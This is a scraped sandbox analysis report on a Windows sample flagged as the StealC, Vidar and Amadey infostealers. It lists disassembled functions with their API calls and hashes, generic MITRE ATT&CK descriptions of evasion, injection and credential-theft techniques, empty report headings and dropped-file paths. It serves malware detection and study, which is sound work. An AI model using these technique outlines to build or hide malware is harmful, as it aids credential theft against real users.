Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 2b14c030ced020b080312e1c5b6f242b03ecc0404d8ae2744192e6fb7af49dc1
Instruction ID: ae1c20d4dc3906e94641cdf4fe17213edcc106816933c5abcb89284cc7058d3e
Opcode Fuzzy Hash: 2b14c030ced020b080312e1c5b6f242b03ecc0404d8ae2744192e6fb7af49dc1
Instruction Fuzzy Hash: F711A271909B46CBD7118F29E9007A1B3B1FF97328F14970AD84A53F12EBB5A5C58790

Function 6CA43DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CA0F20E,?), ref: 6CA43DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CA0F20E,00000000,?), ref: 6CA43DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA43E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CA43E0E

Part of subcall function 6CA3CC00: GetCurrentProcess.KERNEL32(?,?,6CA031A7), ref: 6CA3CC0D
Part of subcall function 6CA3CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CA031A7), ref: 6CA3CC16

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 2d7581e4c4512e693945e7a38e6ee9992bf69830de04404aa673bd849c4fbf07
Instruction ID: 4773c1342284db43cedfe90ce8a7ad20434da9ad04bdb3cf4171eb1dd4113401
Opcode Fuzzy Hash: 2d7581e4c4512e693945e7a38e6ee9992bf69830de04404aa673bd849c4fbf07
Instruction Fuzzy Hash: B6F05E719012197BD704AB54DC41DAB376DEB46628F044020FD0857701D635BD6A8AF6

Function 6CA585B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CA585D3

Part of subcall function 6CA1CA10: malloc.MOZGLUE(?), ref: 6CA1CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CA58725

Strings

map/set<T> too long, xrefs: 6CA58720

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 037a537dac3a4781341a310c2387e476c00be97d172dd918a47cadfb9ac350d4
Instruction ID: 712a77f6cdadb4d547dae9172e7524f1b5508e24f74baf7bd4e4b0f28ee6908f
Opcode Fuzzy Hash: 037a537dac3a4781341a310c2387e476c00be97d172dd918a47cadfb9ac350d4
Instruction Fuzzy Hash: F451A7B4610641CFD701CF18C184B9ABBF1BF4A318F58C18AD8595BB92C734E895CF92

Function 6CA0BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CA0BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA0BE8F

Strings

0, xrefs: 6CA0BE5B

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 7fdbcdc8e473fc8f8b27c2e4da91a414ed0f90b7e8e99457345e278efbb359e5
Instruction ID: d592fcdf4e6c04d8026be7e4e95dc987eb1462b83924c483cf49d87d0e64b26b
Opcode Fuzzy Hash: 7fdbcdc8e473fc8f8b27c2e4da91a414ed0f90b7e8e99457345e278efbb359e5
Instruction Fuzzy Hash: 7741A171A09745CFC701CF28E581A9BB7F4AF8A388F008B1DF9859B611D730D999CB82

Function 6CA43CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA43D19
mozalloc_abort.MOZGLUE(?), ref: 6CA43D6C

Strings

d, xrefs: 6CA43D58

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: f53228e7d4bc8d216dd5ee28306a106438fc306e05899960feb647a57e79d942
Instruction ID: c9693c5eb23cba6a92324d9788216bf51628f23233a57e7ea457c41a594ad372
Opcode Fuzzy Hash: f53228e7d4bc8d216dd5ee28306a106438fc306e05899960feb647a57e79d942
Instruction Fuzzy Hash: AD110135E05799DBDF058B69CC144EDB775EF96218F48CB28DC899BA02EB30A5C9C390

Function 6CA66DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CA66E22
__Init_thread_footer.LIBCMT ref: 6CA66E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CA66E1D

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 4cf9b210f2ca98eaef3506cc3d817d0962624c8dc35917427a1edecbb6d03fe1
Instruction ID: 465b58df8fa38714f04914753c803f543725279fe24dba3df99a942b253f605a
Opcode Fuzzy Hash: 4cf9b210f2ca98eaef3506cc3d817d0962624c8dc35917427a1edecbb6d03fe1
Instruction Fuzzy Hash: 3BF0B4756073C3CFDA048B69CD60AD17772AB13218F084279CC5586F95D731A9A7CAA3

Function 6CA19E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CA19EEF

Strings

NaN, xrefs: 6CA19EC1
Infinity, xrefs: 6CA19EB7

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 5d4f7d3e7a49f129794b0e065e597331db998f9d19135877895d3314dae65c10
Instruction ID: a86c520f20494eadaa3bed17fd211be5ad967c471a224f57581a5e659932ad00
Opcode Fuzzy Hash: 5d4f7d3e7a49f129794b0e065e597331db998f9d19135877895d3314dae65c10
Instruction Fuzzy Hash: A1F06970602343CBDB048F58DD456907772B30730CF248A1CCB840AA81E3356AD7CA92

Function 6CA1BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CA1BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CA1BEF5

Strings

cryptbase.dll, xrefs: 6CA1BEF0

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c02a3a0554e671d361d90e2dc207712a28c99e28679ebde9d836d11d7a538b7f
Instruction ID: 626ffa6a8bd541920e6d2ab2eb37ad86bd7abac2730c770b831a6fb7da457ec3
Opcode Fuzzy Hash: c02a3a0554e671d361d90e2dc207712a28c99e28679ebde9d836d11d7a538b7f
Instruction Fuzzy Hash: 13D0C731185209EFD7446A50AD05B553B79A706715F10C121F75554D91C7B19491CB64

Function 6CA5B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CA5B2C9,?,?,?,6CA5B127,?,?,?,?,?,?,?,?,?,6CA5AE52), ref: 6CA5B628

Part of subcall function 6CA590E0: free.MOZGLUE(?,00000000,?,?,6CA5DEDB), ref: 6CA590FF
Part of subcall function 6CA590E0: free.MOZGLUE(?,00000000,?,?,6CA5DEDB), ref: 6CA59108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CA5B2C9,?,?,?,6CA5B127,?,?,?,?,?,?,?,?,?,6CA5AE52), ref: 6CA5B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CA5B2C9,?,?,?,6CA5B127,?,?,?,?,?,?,?,?,?,6CA5AE52), ref: 6CA5B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CA5B127,?,?,?,?,?,?,?,?), ref: 6CA5B74D

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 4352c82401fe1aecc5698f6c5429777ab426ef48b2dc4d110f27539810478b13
Instruction ID: 1a2cfe52a3a6109f4936f48ee65588b6dffddd9119dbfae863a9f0a20b8de778
Opcode Fuzzy Hash: 4352c82401fe1aecc5698f6c5429777ab426ef48b2dc4d110f27539810478b13
Instruction Fuzzy Hash: B551F671A023168FDB14CF18E9807AEB7B1FF45306F85C62DC856ABB40D731A8A4CB91

Function 6CA6B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CA10A4D), ref: 6CA6B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CA10A4D), ref: 6CA6B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CA10A4D), ref: 6CA6B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CA10A4D), ref: 6CA6B67F

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4bb9bcc56d7bbf301de697b32b05a161717fbd60021718eeb19a53a450fdf7ac
Instruction ID: e7380feb78241176b9ac689a78f46a1d272c79c2c17ce5eae3df9dbdefafe714
Opcode Fuzzy Hash: 4bb9bcc56d7bbf301de697b32b05a161717fbd60021718eeb19a53a450fdf7ac
Instruction Fuzzy Hash: E1315675A012168FDB10DF5AD84069ABBF6FF81304F1A8729D8069BB00EB31E955CBE1

Function 6CA3F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA3F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CA3F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA3F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CA3F668

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: d304fb0b90f358d447f7a86472dca9a554ce88c0df55815a2917e3d83020cdf4
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: C2315E71A10224AFD724CF1DCCD0A9AB7B5FB84358B18857DFA498BB04D731E9848BA0

Function 6CA526B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA526C1
free.MOZGLUE(?), ref: 6CA526E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA526FF
free.MOZGLUE ref: 6CA5270D

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 483e5a6acef43c21bdb35c71f7ec1c0a75e25e547d97fa6997bcd07c3b85ffcb
Instruction ID: 0f57de72dd916931284c98102b73acf66511119f4d82c50cb12bc5ac69ad3097
Opcode Fuzzy Hash: 483e5a6acef43c21bdb35c71f7ec1c0a75e25e547d97fa6997bcd07c3b85ffcb
Instruction Fuzzy Hash: 5EF0A9B27012015BE7009E18E88499773B9FF5125CB988235EA16D3F02E731F9A9C692

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAKFBKEHDBGHJJKFIEGD

C:\ProgramData\DBKEHDGDGHCBGCAKFIIIECFIIJ

C:\ProgramData\DGCBKECA

C:\ProgramData\DHDBGHCBAEGCBFHJEBFI

C:\ProgramData\FIJKEHJJDAAKFHIDAKFHCBFCFB

C:\ProgramData\GDGDHJJDGHCAAAKEHIJK

Windows Analysis Report
file.exe

